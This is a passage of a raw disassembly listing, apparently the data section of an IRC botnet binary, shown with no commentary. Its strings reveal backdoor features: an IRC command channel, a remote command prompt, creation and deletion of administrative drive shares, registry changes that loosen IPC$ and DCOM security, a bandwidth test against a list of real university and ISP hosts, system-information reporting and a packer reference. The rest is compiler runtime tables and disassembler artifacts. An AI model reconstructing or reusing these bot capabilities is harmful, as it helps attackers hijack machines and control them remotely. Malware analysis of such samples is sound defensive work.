'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419F76+33o unk_439C90 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A12Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439CC0 db 2Dh ; - ; DATA XREF: sub_419FFD+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A0E3o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439D18 db 2Dh ; - ; DATA XREF: sub_41A152+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_439D4C db 2Dh ; - ; DATA XREF: sub_41A152+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_439D70 dd offset dword_439DA8 ; DATA XREF: sub_41A367+1B3o ; sub_41A68B+17Ao align 8 dd offset dword_439DA0 align 10h off_439D80 dd offset dword_439D9C ; DATA XREF: sub_41A68B+1E3o dd offset dword_439D98 dd offset dword_439D94 dd offset dword_439D90 dword_439D90 dd 5C3A44h ; DATA XREF: sub_41A367+217o ; ___:00439D8Co dword_439D94 dd 2444h ; DATA XREF: ___:00439D88o dword_439D98 dd 5C3A43h ; DATA XREF: ___:00439D84o dword_439D9C dd 2443h ; DATA XREF: ___:off_439D80o dword_439DA0 dd 494D4441h, 244Eh ; DATA XREF: ___:00439D78o dword_439DA8 dd 24435049h, 0 ; DATA XREF: ___:off_439D70o dword_439DB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+2E5o ; sub_41A68B+2D8o aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439DE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439E08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A5C9o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439E34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439E58 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A536o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439E84 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439EA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A499o ; sub_41A68B:loc_41A7B9o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439ED8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A492o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439F14 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A474o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439F48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A367+EDo ; sub_41A68B+EDo align 4 dword_439F98 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+91o ; sub_41A68B+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439FC8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A367:loc_41A3D4o dd 62617369h, 2E64656Ch, 0 dword_439FE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A367+54o ; sub_41A68B+54o align 4 dword_43A018 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+2C0o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A68B+22Ao align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A68B+219o dword_43A048 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A82Ao ; sub_41A68B:loc_41A8F8o aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A070 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+198o ; sub_41A68B+266o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A090 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A7B2o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A0CC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A794o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A104 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A144 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A68B:loc_41A6F8o dd 6C62616Eh, 2E6465h dword_43A160 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A9BC+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_43A1B8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41AB97+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AB97+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AB97+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AB97+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AB97+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AB97+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AB97+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AB97+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AB97+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AB97+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AB97+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AB97+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AB97+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AB97+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AB97+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AB97+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AB97+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AB97+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AB97+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AB97+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AB97+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AB97+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AB97+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AB97+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AB97+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AB97+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AB97+15o dword_43A3C4 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF2B+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A4A0 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF2B+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF2B:loc_41B08Fo align 4 dword_43A4C4 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B1DF+ABo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A508 dd offset loc_412F4E ; DATA XREF: sub_41B1DF:loc_41B253o off_43A50C dd offset dword_4E414C ; DATA XREF: sub_41B1DF:loc_41B24Co dword_43A510 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B1DF+5Bo dword_43A518 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B1DF+48o unk_43A528 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B45Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A558 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B457o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A584 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B2A5+1A0o dd 4C525520h, 2Eh unk_43A5A0 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B438o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A5DC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B2A5+18Co dd 64657469h, 2Eh dword_43A5F8 dd 2A2F2Ah ; DATA XREF: sub_41B2A5+3Bo word_43A5FC dw 4 ; DATA XREF: sub_41B4FB+10r align 10h dword_43A600 dd 6325h ; DATA XREF: ___:0041B83Co dword_43A604 dd 0DFFh ; DATA XREF: ___:0041B68Ao dword_43A608 dd 51FFh ; DATA XREF: ___:0041B67Fo dword_43A60C dd 0EBFFh ; DATA XREF: ___:0041B674o dword_43A610 dd 201h ; DATA XREF: ___:0041B65Fo dword_43A614 dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: ___:0041B64Do dword_43A630 dd 5F8843F5h ; DATA XREF: sub_41C058+4w sub_41C062r ... align 10h dword_43A640 dd 173Fh ; DATA XREF: sub_41CDE5+Dr dd 9875h, 9873h off_43A64C dd offset sub_41CEB4 ; DATA XREF: ___:0041BF04r ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0CEh, 41h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0CEh, 41h, 0 dword_43A658 dd 1B3Fh ; DATA XREF: sub_41CF2B+Dr dword_43A65C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D3AD+2o ; sub_41D3B6+2o off_43A670 dd offset sub_41BF42 ; DATA XREF: sub_41E1C9+1Cr dword_43A674 dd 2 ; DATA XREF: sub_423498+Er ; sub_4234D1+46r ... dd 10h dword_43A67C dd 3F8h ; DATA XREF: sub_41BB48+4Dr ; sub_41BCD9+5r ... off_43A680 dd offset word_43A68A ; DATA XREF: sub_41BE6E+23r ; sub_41BE6E:loc_41BECFr ... off_43A684 dd offset word_43A68A ; DATA XREF: sub_426B2A+18r db 2 dup(0) word_43A68A dw 20h ; DATA XREF: sub_424C57+18r ; ___:off_43A680o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43A88C dd 1 ; DATA XREF: sub_41BE6E:loc_41BE76r ; sub_41BE6E:loc_41BEBAr ... byte_43A890 db 2Eh ; DATA XREF: sub_420445:loc_420739r ; sub_420445+311r ... align 4 dd 1 off_43A898 dd offset aNull_0 ; DATA XREF: sub_41F5D4:loc_41F938r ; sub_41F5D4+457r ; "(null)" off_43A89C dd offset aNull ; DATA XREF: sub_41F5D4+259r ; "(null)" byte_43A8A0 db 1 ; DATA XREF: sub_41FDDE+E1r db 2, 4, 8 align 8 dword_43A8A8 dd 3A4h ; DATA XREF: sub_41FDDE+2Fo dword_43A8AC dd 82798260h, 21h, 0 ; DATA XREF: sub_41FDDE+11Dr dword_43A8B8 dd 0DFA6h ; DATA XREF: sub_41FDDE+C0r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43A998 dd 1 ; DATA XREF: sub_41FDDE+3Co ; sub_420314+Co dword_43A99C dd 16h ; DATA XREF: sub_420314:loc_420349r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43AB00 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420314+19o ; sub_420445:loc_4209ACo dword_43AB08 dd 5Dh, 0 ; DATA XREF: sub_420445:loc_42089Co dword_43AB10 dd 14h ; DATA XREF: sub_421559+2o off_43AB14 dd offset aExp ; DATA XREF: sub_421559:loc_421576r ; "exp" dd 1Dh, 427840h, 1Ah, 42C61Ch, 1Bh, 427838h, 1Fh, 427830h dd 13h, 427828h, 21h, 427820h, 0Eh, 427818h, 0Dh, 427810h dd 0Fh, 427808h, 10h, 427800h, 5, 4277F8h, 1Eh, 4277F4h dd 12h, 4277F0h, 20h, 4277ECh, 0Ch, 4277E4h, 0Bh, 4277DCh dd 15h, 4277D4h, 1Ch, 4277CCh, 19h, 4277C4h, 11h, 4277BCh dd 18h, 4277B4h, 16h, 4277ACh, 17h, 4277A4h, 22h, 4277A0h dd 23h, 42779Ch, 24h, 427798h dbl_43ABE8 dq 1.797693134862316e308 ; DATA XREF: sub_421294+B7r ; sub_421294:loc_42137Br ... dd 0 dd 0FFF80000h dbl_43ABF8 dq 1.797693134862316e308 ; DATA XREF: sub_421294+92r ; sub_421294:loc_421353r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43AC10 dt 2.3562723457267347066e313 ; DATA XREF: sub_421741+Dr ; sub_421741+1Fr align 4 tbyte_43AC1C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421741+31r align 4 off_43AC28 dd offset sub_421BD5 ; DATA XREF: sub_41CECC+Fw ; sub_41F5D4+3AAr off_43AC2C dd offset sub_42186A ; DATA XREF: sub_41CECC+5w ; sub_41F5D4+3E2r off_43AC30 dd offset sub_4218D0 ; DATA XREF: sub_41CECC+14w ; sub_420445+430r off_43AC34 dd offset sub_421810 ; DATA XREF: sub_41CECC+1Ew ; sub_41F5D4+3CBr off_43AC38 dd offset sub_4218B8 ; DATA XREF: sub_41CECC+28w off_43AC3C dd offset sub_421BD5 ; DATA XREF: sub_41CECC+32w dd offset sub_42461C align 10h dd offset sub_42249C off_43AC54 dd offset sub_42249C ; DATA XREF: sub_4224F2+29r dword_43AC58 dd 0C0000005h ; DATA XREF: sub_422D37+Ar ; sub_422D37+11o ... dword_43AC5C dd 0Bh ; DATA XREF: sub_42595E+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43ACD0 dd 3 ; DATA XREF: ___:00422C4Er ; sub_425831+C8r dword_43ACD4 dd 7 ; DATA XREF: ___:00422C54r ; sub_425831+CDr dword_43ACD8 dd 0Ah ; DATA XREF: sub_422D37+4r ; sub_42595E+4r dword_43ACDC dd 8Ch ; DATA XREF: ___:00422C78r ; ___:00422C85w ... dword_43ACE0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41EF78:loc_41EFF9o ; sub_41F4BF:loc_41F57Co dword_43ACE8 dd 2 ; DATA XREF: sub_4234D1+Eo ; sub_4234D1+28r off_43ACEC dd offset aR6002FloatingP ; DATA XREF: sub_4234D1+FCr ; sub_4234D1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B5Ch, 9, 427B30h, 0Ah, 427B0Ch, 10h, 427AE0h dd 11h, 427AB0h, 12h, 427A8Ch, 13h, 427A60h, 18h, 427A28h dd 19h, 427A00h, 1Ah, 4279C8h, 1Bh, 427990h, 1Ch, 427968h dd 78h, 427958h, 79h, 427948h, 7Ah, 427938h, 0FCh, 4341E4h dd 0FFh, 427928h off_43AD78 dd offset dword_4D9A40 ; DATA XREF: sub_4234D1+1Bo ; sub_42383E+55o align 10h dd offset dword_4D9A40 dd 101h dword_43AD88 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42383E+72o dd 1000h, 0 dword_43AD98 dd 3 dup(0) ; DATA XREF: sub_41F4BF+50o ; sub_42037B+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43ADB8 dd 3 dup(0) ; DATA XREF: sub_41F4BF+58o ; sub_42037B:loc_420399o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43ADE8 dd 84h dup(0) ; DATA XREF: sub_42383E+9Bo dword_43AFF8 dd 2 dup(0) ; DATA XREF: sub_42383E+69o dword_43B000 dd 2694h ; DATA XREF: sub_420EF6+3r ; sub_420F49+46r align 8 dword_43B008 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4243FCo dword_43B020 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424412o dword_43B038 dd 7080h ; DATA XREF: sub_422571+76r ; sub_4246FC+5Ew ... dword_43B03C dd 1 ; DATA XREF: sub_422571+98r ; sub_4246FC+8Bw ... dword_43B040 dd 0FFFFF1F0h ; DATA XREF: sub_422571:loc_422623r ; sub_4246FC+94w ... off_43B044 dd offset loc_545350 ; DATA XREF: ___:off_43B0C4o dd 0Fh dup(0) off_43B084 dd offset dword_544450 ; DATA XREF: ___:off_43B0C8o dd 0Fh dup(0) off_43B0C4 dd offset off_43B044 ; DATA XREF: sub_4246FC+BAr ; sub_4246FC+D9r ... off_43B0C8 dd offset off_43B084 ; DATA XREF: sub_4246FC+F4r ; sub_4246FC+11Br ... align 10h dword_43B0D0 dd 0FFFFFFFFh ; DATA XREF: sub_4246FC+1Dw ; sub_42495A+1Er ... dword_43B0D4 dd 0 ; DATA XREF: sub_42495A:loc_424A8Er ; sub_424B06+BFw dword_43B0D8 dd 0 ; DATA XREF: sub_42495A+192r ; sub_424B06+E0w align 10h dword_43B0E0 dd 0FFFFFFFFh ; DATA XREF: sub_4246FC+17w ; sub_42495A+26r ... dword_43B0E4 dd 0 ; DATA XREF: sub_42495A+13Ar ; sub_424B06+EAw ... dword_43B0E8 dd 0 ; DATA XREF: sub_42495A+1A1r ; sub_424B06+23r ... dword_43B0EC dd 0FFFFFFFFh ; DATA XREF: sub_424B06+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43B11C dd 16Dh ; DATA XREF: sub_422571+2Ar ; sub_424B06+2Er ... dword_43B120 dd 0FFFFFFFFh ; DATA XREF: sub_424B06:loc_424B92r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43B158 dd 2 dup(0) ; DATA XREF: sub_425CB6+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43B2B8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425CB6+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43B414 dd offset off_427D30 ; DATA XREF: ___:00427F0Co ; ___:00427FF8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43B42C dd offset off_427D30 ; DATA XREF: ___:off_427DC0o ; ___:00427E00o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43B44C dd offset off_427D30 ; DATA XREF: ___:off_427E08o ; ___:00427E4Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43B46C dd offset off_427D30 ; DATA XREF: ___:off_427E54o ; ___:00427E98o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43B490 dd offset off_427D30 ; DATA XREF: ___:off_427EA0o ; ___:00427EDCo align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42461C align 10h dword_43B4B0 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43B4B8 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Bo ... align 10h dword_43B4C0 dd 0 ; DATA XREF: ___:004015ADo ; sub_401AC7+ADFo ... dd 5 dup(0) dword_43B4D8 dd 0 ; DATA XREF: sub_401AC7+B3Br ; sub_415BF6+60r dd 2D9h dup(0) dword_43C040 dd 0 ; DATA XREF: sub_401AC7+5DD3r ; sub_401AC7+5ECDr ... dd 7Fh dup(0) dword_43C240 dd 0 ; DATA XREF: sub_40B3AD+41w ; sub_40B4E8+40w ... dword_43C244 dd 0 ; DATA XREF: sub_40B3AD+47w ; sub_40B4E8+46w ... dword_43C248 dd 0 ; DATA XREF: sub_40B3AD+52w ; sub_40B4E8+3Ar ... dword_43C24C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017E7+B9w ... dword_43C250 dd 0 ; DATA XREF: sub_40B4E8+75r ; sub_40B6C9+2Aw ... dword_43C254 dd 0 ; DATA XREF: ___:004015F9w ; ___:00401671w ... byte_43C258 db 0 ; DATA XREF: sub_4017E7+91o ; sub_401AC7+5D21r ... align 4 dword_43C25C dd 253Dh dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00434124o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437DE8o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438854o dword_457444 dd 0E306h dup(0) dword_49005C dd 509Ch dup(0) ; DATA XREF: ___:off_4329A0o dword_4A42CC dd 42E2h dup(0) ; DATA XREF: Themida_:00542651o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43166Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_4386C0o dd 4F7Eh dup(0) dword_4C9040 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3AD+13o ... dword_4C9044 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401AC7:loc_404474r ... dword_4C9048 dd 0 ; DATA XREF: ___:loc_4016F9o dword_4C904C dd 20h dup(0) ; DATA XREF: ___:004016B0o ; ___:0040174Ao ... dword_4C90CC dd 10h dup(0) ; DATA XREF: ___:004016C6o dword_4C910C dd 24h dup(0) ; DATA XREF: ___:004016DDo dword_4C919C dd 0 ; DATA XREF: ___:004016D1w ; ___:00401761w ... dword_4C91A0 dd 0 ; DATA XREF: ___:004016F0w align 10h dword_4C91B0 dd 0 ; DATA XREF: ___:0040135Br dword_4C91B4 dd 0 ; DATA XREF: ___:004016FEw ; ___:00401715r ... dword_4C91B8 dd 0 ; DATA XREF: ___:004016B5w ; sub_401AC7+899r word_4C91BC dw 0 ; DATA XREF: sub_401AC7+7BB4o ; ___:0040AF9Co ... align 10h dword_4C91C0 dd 0 ; DATA XREF: sub_4098FD+4A7w ; sub_4098FD+4EBr dword_4C91C4 dd 0 ; DATA XREF: sub_4098FD+65w ; sub_419BAA+166r dword_4C91C8 dd 0 ; DATA XREF: 